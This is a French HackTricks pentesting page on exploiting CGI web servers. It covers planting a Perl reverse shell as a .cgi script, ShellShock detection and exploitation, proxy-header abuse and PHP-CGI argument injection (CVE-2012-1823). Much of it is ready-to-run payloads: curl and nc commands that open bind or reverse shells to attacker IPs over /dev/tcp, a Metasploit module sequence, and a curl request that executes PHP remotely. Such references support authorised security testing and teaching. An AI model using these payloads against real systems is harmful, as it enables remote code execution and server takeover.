CGI

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Information

Les scripts CGI sont des scripts perl, donc, si vous avez compromis un serveur capable d'exécuter des scripts .cgi, vous pouvez télécharger un shell inversé perl (/usr/share/webshells/perl/perl-reverse-shell.pl), changer l'extension de .pl à .cgi, donner les permissions d'exécution (chmod +x) et accéder au shell inversé depuis le navigateur web pour l'exécuter. Pour tester les vulnérabilités CGI, il est recommandé d'utiliser nikto -C all (et tous les plugins)

ShellShock

ShellShock est une vulnérabilité qui affecte le shell de ligne de commande Bash largement utilisé dans les systèmes d'exploitation basés sur Unix. Il cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des variables d'environnement, qui sont des valeurs nommées dynamiques qui influent sur la manière dont les processus s'exécutent sur un ordinateur. Les attaquants peuvent exploiter cela en attachant du code malveillant aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet aux attaquants de compromettre potentiellement le système.

En exploitant cette vulnérabilité, la page pourrait renvoyer une erreur.

Vous pourriez détecter cette vulnérabilité en remarquant qu'elle utilise une ancienne version d'Apache et cgi_mod (avec un dossier cgi) ou en utilisant nikto.

Test

La plupart des tests sont basés sur l'écho de quelque chose et s'attendent à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (réfléchi, aveugle et hors bande)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploiter

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM pour les requêtes au serveur Web)

CGI crée une variable d'environnement pour chaque en-tête de la requête http. Par exemple: "host:web.com" est créé comme "HTTP_HOST"="web.com"

Comme la variable HTTP_PROXY pourrait être utilisée par le serveur Web. Essayez d'envoyer un en-tête contenant: "Proxy: <IP_attaquant>:<PORT>" et si le serveur effectue une requête pendant la session. Vous pourrez capturer chaque requête effectuée par le serveur.

Ancien PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Fondamentalement, si cgi est actif et que php est "ancien" (<5.3.12 / < 5.4.2), vous pouvez exécuter du code. Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur Web sans envoyer de paramètres (surtout sans envoyer le caractère "="). Ensuite, pour tester cette vulnérabilité, vous pourriez accéder par exemple à /index.php?-s (notez le -s), et le code source de l'application apparaîtra dans la réponse.

Ensuite, pour obtenir RCE, vous pouvez envoyer cette requête spéciale: /?-d allow_url_include=1 -d auto_prepend_file=php://input et le code PHP à exécuter dans le corps de la requête. Exemple:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Plus d'informations sur la vulnérabilité et les exploits possibles : https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Exemple de CTF Writeup.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour